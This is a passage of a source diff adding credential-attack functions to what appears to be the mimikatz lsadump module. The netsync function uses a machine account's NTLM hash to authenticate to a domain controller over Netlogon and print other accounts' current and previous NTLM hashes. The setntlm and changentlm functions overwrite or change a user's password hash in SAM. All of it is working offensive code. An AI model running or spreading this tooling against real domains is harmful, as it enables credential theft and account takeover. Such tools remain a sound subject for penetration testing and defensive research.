&szAccount, szUser); + kull_m_string_args_byName(argc, argv, L"computer", &szComputer, MIMIKATZ); + if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNtlm, NULL)) + { + if(kull_m_string_stringToHex(szNtlm, ntlmHash, sizeof(ntlmHash))) + { + //kprintf(L"> ClientChallenge : "); kull_m_string_wprintf_hex(ClientChallenge.data, sizeof(ClientChallenge.data), 0); kprintf(L"\n"); + status = I_NetServerReqChallenge((LOGONSRV_HANDLE) szDc, (wchar_t *) szComputer, &ClientChallenge, &ServerChallenge); + if(NT_SUCCESS(status)) + { + //kprintf(L"< ServerChallenge : "); kull_m_string_wprintf_hex(ServerChallenge.data, sizeof(ServerChallenge.data), 0); kprintf(L"\n"); + MD5Init(&ctx); + MD5Update(&ctx, &i, sizeof(i)); + MD5Update(&ctx, ClientChallenge.data, sizeof(ClientChallenge.data)); + MD5Update(&ctx, ServerChallenge.data, sizeof(ServerChallenge.data)); + MD5Final(&ctx); + if(kull_m_crypto_hmac(CALG_MD5, ntlmHash, sizeof(ntlmHash), ctx.digest, sizeof(ctx.digest), sessionKey, sizeof(sessionKey))) + { + //kprintf(L"> Session Key : "); kull_m_string_wprintf_hex(sessionKey, sizeof(sessionKey), 0); kprintf(L"\n"); + kuhl_m_lsadump_netsync_NlComputeCredentials((PBYTE) ClientChallenge.data, (PBYTE) ClientCredential.data, sessionKey); + kuhl_m_lsadump_netsync_NlComputeCredentials((PBYTE) ServerChallenge.data, (PBYTE) CandidateServerCredential.data, sessionKey); + //kprintf(L"> ClientCredential : "); kull_m_string_wprintf_hex(ClientCredential.data, sizeof(ClientCredential.data), 0); kprintf(L"\n"); + //kprintf(L"> CandidateServerCredential: "); kull_m_string_wprintf_hex(CandidateServerCredential.data, sizeof(CandidateServerCredential.data), 0); kprintf(L"\n"); + //kprintf(L"> NegotiateFlags : 0x%08x\n", NegotiateFlags); + status = I_NetServerAuthenticate2((LOGONSRV_HANDLE) szDc, (wchar_t *) szUser, ServerSecureChannel, (wchar_t *) szComputer, &ClientCredential, &ServerCredential, &NegotiateFlags); + if(NT_SUCCESS(status)) + { + //kprintf(L"< ServerCredential : "); kull_m_string_wprintf_hex(ServerCredential.data, sizeof(ServerCredential.data), 0); kprintf(L"\n"); + if(RtlEqualMemory(CandidateServerCredential.data, ServerCredential.data, sizeof(CandidateServerCredential.data))) + { + //kprintf(L"< NegotiateFlags : 0x%08x\n", NegotiateFlags); + for(status = STATUS_NO_SUCH_USER, i = 0; (status == STATUS_NO_SUCH_USER) && (i < ARRAYSIZE(kuhl_m_lsadump_netsync_sc)); i++) + { + kuhl_m_lsadump_netsync_AddTimeStampForAuthenticator(&ClientCredential, 0x10, &ClientAuthenticator, sessionKey); + //kprintf(L"> ClientAuthenticator (%u) : ", kuhl_m_lsadump_netsync_sc[i]); kull_m_string_wprintf_hex(ClientAuthenticator.Credential.data, sizeof(ClientAuthenticator.Credential.data), 0); kprintf(L" (%u - 0x%08x)\n", ClientAuthenticator.Timestamp, ClientAuthenticator.Timestamp); + status = I_NetServerTrustPasswordsGet((LOGONSRV_HANDLE) szDc, (wchar_t *) szAccount, kuhl_m_lsadump_netsync_sc[i], (wchar_t *) szComputer, &ClientAuthenticator, &ServerAuthenticator, &EncryptedNewOwfPassword, &EncryptedOldOwfPassword); + if(NT_SUCCESS(status)) + { + kprintf(L" Account: %s\n", szAccount); + RtlDecryptDES2blocks2keys((LPCBYTE) &EncryptedNewOwfPassword, sessionKey, (LPBYTE) &NewOwfPassword); + RtlDecryptDES2blocks2keys((LPCBYTE) &EncryptedOldOwfPassword, sessionKey, (LPBYTE) &OldOwfPassword); + kprintf(L" NTLM : "); kull_m_string_wprintf_hex(&NewOwfPassword, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); + kprintf(L" NTLM-1 : "); kull_m_string_wprintf_hex(&OldOwfPassword, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); + } + *(PDWORD64) ClientCredential.data += 1; // lol :) validate server auth + } + if(!NT_SUCCESS(status)) + PRINT_ERROR(L"I_NetServerTrustPasswordsGet (0x%08x)\n", status); + } + else PRINT_ERROR(L"ServerCredential does not match CandidateServerCredential\n"); + } + else PRINT_ERROR(L"I_NetServerAuthenticate2 (0x%08x)\n", status); + } + } + else PRINT_ERROR(L"I_NetServerReqChallenge (0x%08x)\n", status); + } + else PRINT_ERROR(L"ntlm hash/rc4 key length must be 32 (16 bytes)\n"); + } + else PRINT_ERROR(L"Missing argument : ntlm\n"); + } + else PRINT_ERROR(L"Missing argument : user\n"); + } + else PRINT_ERROR(L"Missing argument : dc\n"); + return STATUS_SUCCESS; +} + +NTSTATUS kuhl_m_lsadump_netsync_NlComputeCredentials(PBYTE input, PBYTE output, PBYTE key) // Q&D +{ + BYTE bufferData[DES_BLOCK_LENGTH]; + RtlZeroMemory(output, DES_BLOCK_LENGTH); + RtlEncryptDES1block1key(input, key, bufferData); + return RtlEncryptDES1block1key(bufferData, key + DES_KEY_LENGTH, output); +} + +void kuhl_m_lsadump_netsync_AddTimeStampForAuthenticator(PNETLOGON_CREDENTIAL Credential, DWORD TimeStamp, PNETLOGON_AUTHENTICATOR Authenticator, BYTE sessionKey[MD5_DIGEST_LENGTH]) +{ + Authenticator->Timestamp = TimeStamp; + *(PDWORD64) (Credential->data) += TimeStamp; + kuhl_m_lsadump_netsync_NlComputeCredentials((PBYTE) Credential->data, (PBYTE) Authenticator->Credential.data, sessionKey); +} + +/* This function `setntlm` is based on the idea of + Vincent LE TOUX ( vincent.letoux@gmail.com / http://www.mysmartlogon.com ) + yes, again him... he loves LSA too ;) +*/ +NTSTATUS CALLBACK kuhl_m_lsadump_setntlm_callback(SAMPR_HANDLE hUser, PVOID pvArg) +{ + NTSTATUS status = SamSetInformationUser(hUser, UserInternal1Information, (PSAMPR_USER_INFO_BUFFER) pvArg); + if(NT_SUCCESS(status)) + kprintf(L"\n>> Informations are in the target SAM!\n"); + else PRINT_ERROR(L"SamSetInformationUser: %08x\n", status); + return status; +} + +NTSTATUS kuhl_m_lsadump_setntlm(int argc, wchar_t * argv[]) +{ + NTSTATUS status; + LSA_UNICODE_STRING password; + PCWCHAR szPassword; + SAMPR_USER_INFO_BUFFER infos = {{{0x60, 0xba, 0x4f, 0xca, 0xdc, 0x46, 0x6c, 0x7a, 0x03, 0x3c, 0x17, 0x81, 0x94, 0xc0, 0x3d, 0xf6}, {0x7c, 0x1c, 0x15, 0xe8, 0x74, 0x11, 0xfb, 0xa2, 0x1d, 0x91, 0xa0, 0x81, 0xd4, 0xb3, 0x78, 0x61}, TRUE, FALSE, FALSE, FALSE,}}; + + if(kull_m_string_args_byName(argc, argv, L"password", &szPassword, NULL)) + { + RtlInitUnicodeString(&password, szPassword); + status = RtlDigestNTLM(&password, infos.Internal1.NTHash); + if(!NT_SUCCESS(status)) + PRINT_ERROR(L"Unable to digest NTLM hash from password: %08x\n", status); + } + else if(kull_m_string_args_byName(argc, argv, L"ntlm", &szPassword, NULL)) + { + status = kull_m_string_stringToHex(szPassword, infos.Internal1.NTHash, sizeof(infos.Internal1.NTHash)) ? STATUS_SUCCESS : STATUS_WRONG_PASSWORD; + if(!NT_SUCCESS(status)) + PRINT_ERROR(L"Unable to convert \'%s\' to NTLM hash (16 bytes)\n", szPassword); + } + else + { + kprintf(L"** No credentials provided, will use the default one **\n"); + infos.Internal1.LmPasswordPresent = TRUE; + status = STATUS_SUCCESS; + } + + if(NT_SUCCESS(status)) + { + kprintf(L"NTLM : "); + kull_m_string_wprintf_hex(infos.Internal1.NTHash, sizeof(infos.Internal1.NTHash), 0); + kprintf(L"\n\n"); + status = kuhl_m_lsadump_enumdomains_users(argc, argv, USER_FORCE_PASSWORD_CHANGE, kuhl_m_lsadump_setntlm_callback, &infos); + } + return STATUS_SUCCESS; +} + +/* This function `changentlm` is based on another crazy idea of + Vincent LE TOUX ( vincent.letoux@gmail.com / http://www.mysmartlogon.com ) +*/ +NTSTATUS CALLBACK kuhl_m_lsadump_changentlm_callback(SAMPR_HANDLE hUser, PVOID pvArg) +{ + PKUHL_M_LSADUMP_CHANGENTLM_DATA data = (PKUHL_M_LSADUMP_CHANGENTLM_DATA) pvArg; + NTSTATUS status = SamiChangePasswordUser(hUser, data->isOldLM, data->oldLM, data->newLM, data->isNewNTLM, data->oldNTLM, data->newNTLM); + if(NT_SUCCESS(status)) + kprintf(L"\n>> Change password is a success!\n"); + else if(status == STATUS_WRONG_PASSWORD) + PRINT_ERROR(L"Bad old NTLM hash or password!\n"); + else if(status == STATUS_PASSWORD_RESTRICTION) + PRINT_ERROR(L"Bad new NTLM hash or password! (restriction)\n"); + else PRINT_ERROR(L"SamiChangePasswordUser: %08x\n", status); + return status; +} + +NTSTATUS kuhl_m_lsadump_changentlm(int argc, wchar_t * argv[]) +{ + NTSTATUS status0 = STATUS_DATA_ERROR, status1 = STATUS_DATA_ERROR; + LSA_UNICODE_STRING password; + PCWCHAR szPassword; + KUHL_M_LSADUMP_CHANGENTLM_DATA infos = {FALSE, {0}, {0}, TRUE, {0}, {0x60, 0xba, 0x4f, 0xca, 0xdc, 0x46, 0x6c, 0x7a, 0x03, 0x3c, 0x17, 0x81, 0x94, 0xc0, 0x3d, 0xf6}}; + + if(kull_m_string_args_byName(argc, argv, L"oldpassword", &szPassword, NULL)) + { + RtlInitUnicodeString(&password, szPassword); + status0 = RtlDigestNTLM(&password, infos.oldNTLM); + if(!NT_SUCCESS(status0)) + PRINT_ERROR(L"Unable to digest NTLM hash from old password: %08x\n", status0); + } + else if(kull_m_string_args_byName(argc, argv, L"oldntlm", &szPassword, NULL) || kull_m_string_args_byName(argc, argv, L"old", &szPassword, NULL)) + { + status0 = kull_m_string_stringToHex(szPassword, infos.oldNTLM, sizeof(infos.oldNTLM)) ? STATUS_SUCCESS : STATUS_WRONG_PASSWORD; + if(!NT_SUCCESS(status0)) + PRINT_ERROR(L"Unable to convert \'%s\' to old NTLM hash (16 bytes)\n", szPassword); + } + else PRINT_ERROR(L"Argument /oldpassword: or /oldntlm: is needed\n"); + + if(kull_m_string_args_byName(argc, argv, L"newpassword", &szPassword, NULL)) + { + RtlInitUnicodeString(&password, szPassword); + status1 = RtlDigestNTLM(&password, infos.newNTLM); + if(!NT_SUCCESS(status1)) + PRINT_ERROR(L"Unable to digest NTLM hash from new password: %08x\n", status1); + } + else if(kull_m_string_args_byName(argc, argv, L"newntlm", &szPassword, NULL) || kull_m_string_args_byName(argc, argv, L"new", &szPassword, NULL)) + { + status1 = kull_m_string_stringToHex(szPassword, infos.newNTLM, sizeof(infos.newNTLM)) ? STATUS_SUCCESS : STATUS_WRONG_PASSWORD; + if(!NT_SUCCESS(status1)) + PRINT_ERROR(L"Unable to convert \'%s\' to new NTLM hash (16 bytes)\n", szPassword); + } + else + { + kprintf(L"** No new credentials provided, will use the default one **\n"); + status1 = STATUS_SUCCESS; + } + + if(NT_SUCCESS(status0) && NT_SUCCESS(status1)) + { + kprintf(L"OLD NTLM : "); + kull_m_string_wprintf_hex(infos.oldNTLM, sizeof(infos.oldNTLM), 0); + kprintf(L"\nNEW NTLM : "); + kull_m_string_wprintf_hex(infos.newNTLM, sizeof(infos.newNTLM), 0); + kprintf(L"\n\n"); + status0 = kuhl_m_lsadump_enumdomains_users(argc, argv, USER_CHANGE_PASSWORD, kuhl_m_lsadump_changentlm_callback, &infos); + } + return STATUS_SUCCESS; +} + +DECLARE_CONST_UNICODE_STRING(uBuiltin, L"Builtin"); +NTSTATUS kuhl_m_lsadump_enumdomains_users(int argc, wchar_t * argv[], DWORD dwUserAccess, PKUHL_M_LSADUMP_DOMAINUSER callback, PVOID pvArg) +{ + NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME, enumDomainStatus; + LSA_UNICODE_STRING serverName, userName; + PCWCHAR szServer, szUser; + BOOL isUser = FALSE, isRid = FALSE; + DWORD i, domainEnumerationContext = 0, domainCountRetourned, rid = 0, *pRid, *pUse; + PSAMPR_RID_ENUMERATION pEnumDomainBuffer; + PSID domainSid; + SAMPR_HANDLE hServerHandle, hDomainHandle, hUserHandle; + + kull_m_string_args_byName(argc, argv, L"server", &szServer, NULL); + RtlInitUnicodeString(&serverName, szServer ? szServer : L""); + kprintf(L"Target server: %wZ\n", &serverName); + if(isUser = kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL)) + { + RtlInitUnicodeString(&userName, szUser); + kprintf(L"Target user : %wZ\n", &userName); + } + else if(isRid = kull_m_string_args_byName(argc, argv, L"rid", &szUser, NULL)) + { + rid = wcstoul(szUser, NULL, 0); + kprintf(L"Target RID : %u\n", rid); + } + + if(isUser || isRid) + { + status = SamConnect(&serverName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE); + if(NT_SUCCESS(status)) + { + do + { + enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountRetourned); + if(NT_SUCCESS(enumDomainStatus) || enumDomainStatus == STATUS_MORE_ENTRIES) + { + for(i = 0; i < domainCountRetourned; i++) + { + if(RtlEqualUnicodeString(&pEnumDomainBuffer[i].Name, &uBuiltin, TRUE)) + continue; + kprintf(L"Domain name : %wZ\n", &pEnumDomainBuffer[i].Name); + status = SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &domainSid); + if(NT_SUCCESS(status)) + { + kprintf(L"Domain SID : "); + kull_m_string_displaySID(domainSid); + kprintf(L"\n"); + status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP, domainSid, &hDomainHandle); + if(NT_SUCCESS(status)) + { + if(isUser) + { + isRid = FALSE; + pRid = NULL; + pUse = NULL; + status = SamLookupNamesInDomain(hDomainHandle, 1, &userName, &pRid, &pUse); + if(NT_SUCCESS(status)) + { + rid = pRid[0]; + isRid = TRUE; + } + else PRINT_ERROR(L"SamLookupNamesInDomain: %08x\n", status); + } + + if(isRid) + { + kprintf(L"User RID : %u\n", rid); + status = SamOpenUser(hDomainHandle, dwUserAccess, rid, &hUserHandle); + if(NT_SUCCESS(status)) + { + status = callback(hUserHandle, pvArg); + SamCloseHandle(hUserHandle); + } + else PRINT_ERROR(L"SamOpenUser: %08x\n", status); + } + else PRINT_ERROR(L"No RID\n"); + + if(isUser) + { + if(pRid) + SamFreeMemory(pRid); + if(pUse) + SamFreeMemory(pUse); + } + SamCloseHandle(hDomainHandle); + } + else PRINT_ERROR(L"SamOpenDomain: %08x\n", status); + SamFreeMemory(domainSid); + } + else PRINT_ERROR(L"SamLookupDomainInSamServer: %08x\n", status); + } + SamFreeMemory(pEnumDomainBuffer); + } + else PRINT_ERROR(L"SamEnumerateDomainsInSamServer: %08x\n", enumDomainStatus); + } + while(enumDomainStatus == STATUS_MORE_ENTRIES); + SamCloseHandle(hServerHandle); + } + else PRINT_ERROR(L"SamConnect: %08x\n", status); + } + else PRINT_ERROR(L"/user or /rid is needed\n"); + return status; +} + +PCWCHAR PACKAGES_FLAGS[] = { + L"INTEGRITY", L"PRIVACY", L"TOKEN_ONLY", L"DATAGRAM", + L"CONNECTION", L"MULTI_REQUIRED", L"CLIENT_ONLY", L"EXTENDED_ERROR", + L"IMPERSONATION", L"ACCEPT_WIN32_NAME", L"STREAM", L"NEGOTIABLE", + L"GSS_COMPATIBLE", L"LOGON", L"ASCII_BUFFERS", L"FRAGMENT", + L"MUTUAL_AUTH", L"DELEGATION", L"READONLY_WITH_CHECKSUM", L"RESTRICTED_TOKENS", + L"NEGO_EXTENDER", L"NEGOTIABLE2", L"APPCONTAINER_PASSTHROUGH", L"APPCONTAINER_CHECKS", +}; +NTSTATUS kuhl_m_lsadump_packages(int argc, wchar_t * argv[]) +{ + SECURITY_STATUS status; + ULONG cPackages, i, j; + PSecPkgInfo pPackageInfo; + CredHandle hCred; + CtxtHandle hCtx; + SecBuffer OutBuff = {0, SECBUFFER_TOKEN, NULL}; + SecBufferDesc Output = {SECBUFFER_VERSION, 1, &OutBuff}; + ULONG ContextAttr; + + status = EnumerateSecurityPackages(&cPackages, &pPackageInfo); + if(status == SEC_E_OK) + { + for(i = 0; i < cPackages; i++) + { + kprintf(L"Name : %s\nDescription : %s\nCapabilities: %08x ( ", pPackageInfo[i].Name, pPackageInfo[i].Comment, pPackageInfo[i].fCapabilities); + for(j = 0; j < sizeof(ULONG) * 8; j++) + if((pPackageInfo[i].fCapabilities >> j) & 1) + kprintf(L"%s ; ", (j < ARRAYSIZE(PACKAGES_FLAGS)) ? PACKAGES_FLAGS[j] : L"?"); + kprintf(L")\nMaxToken : %u\nRPCID : 0x%04x (%hu)\nVersion : %hu\n", pPackageInfo[i].cbMaxToken, pPackageInfo[i].wRPCID, pPackageInfo[i].wRPCID, pPackageInfo[i].wVersion); + + if(argc) + { + status = AcquireCredentialsHandle(NULL, pPackageInfo[i].Name, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hCred, NULL); + if(status == SEC_E_OK) + { + status = InitializeSecurityContext(&hCred, NULL, argv[0], ISC_REQ_ALLOCATE_MEMORY, 0, SECURITY_NATIVE_DREP, NULL, 0, &hCtx, &Output, &ContextAttr, NULL); + if((status == SEC_E_OK) || (status == SEC_I_COMPLETE_AND_CONTINUE) || (status == SEC_I_COMPLETE_NEEDED) || (status == SEC_I_CONTINUE_NEEDED) || (status == SEC_I_INCOMPLETE_CREDENTIALS) || (status == SEC_E_INCOMPLETE_MESSAGE)) + { + kull_m_string_wprintf_hex(OutBuff.pvBuffer, OutBuff.cbBuffer, 1 | (16 << 16)); + kprintf(L"\n"); + if(OutBuff.pvBuffer) + FreeContextBuffer(OutBuff.pvBuffer); + DeleteSecurityContext(&hCtx); + } + else PRINT_ERROR(L"InitializeSecurityContext: 0x%08x\n", status); + FreeCredentialHandle(&hCred); + } + else PRINT_ERROR(L"AcquireCredentialsHandle: 0x%08x\n", status); + } + kprintf(L"\n"); + } + FreeContextBuffer(pPackageInfo); + } + else PRINT_ERROR(L"EnumerateSecurityPackages: 0x%08x\n", status); + return STATUS_SUCCESS; +} + +BOOL kuhl_m_lsadump_mbc_data(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSystemBase) +{ + BOOL status = FALSE; + HKEY hCurrentControlSet; + PBYTE data; + DWORD dataLen; + + if(kuhl_m_lsadump_getCurrentControlSet(hRegistry, hSystemBase, &hCurrentControlSet)) + { + if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hCurrentControlSet, L"Control\\Lsa\\Kerberos\\Parameters", L"MachineBoundCertificate", NULL, (LPVOID *) &data, &dataLen)) + { + kuhl_m_crypto_system_data(data, dataLen, L"MachineBoundCertificate", FALSE); + LocalFree(data); + } + kull_m_registry_RegCloseKey(hRegistry, hCurrentControlSet); + } + return status; +} + +NTSTATUS kuhl_m_lsadump_mbc(int argc, wchar_t * argv[]) +{ + HANDLE hDataSystem; + PKULL_M_REGISTRY_HANDLE hRegistry; + HKEY hBase; + LPCWSTR szSystem = NULL; + + if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL)) + { + hDataSystem = CreateFile(szSystem, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if(hDataSystem != INVALID_HANDLE_VALUE) + { + if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSystem, FALSE, &hRegistry)) + { + kuhl_m_lsadump_mbc_data(hRegistry, NULL); + kull_m_registry_close(hRegistry); + } + CloseHandle(hDataSystem); + } + else PRINT_ERROR_AUTO(L"CreateFile (SYSTEM hive)"); + } + else + { + if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_OWN, NULL, FALSE, &hRegistry)) + { + if(kull_m_registry_RegOpenKeyEx(hRegistry, HKEY_LOCAL_MACHINE, L"SYSTEM", 0, KEY_READ, &hBase)) + { + kuhl_m_lsadump_mbc_data(hRegistry, hBase); + kull_m_registry_RegCloseKey(hRegistry, hBase); + } + kull_m_registry_close(hRegistry); + } + } + return STATUS_SUCCESS; +} \ No newline at end of file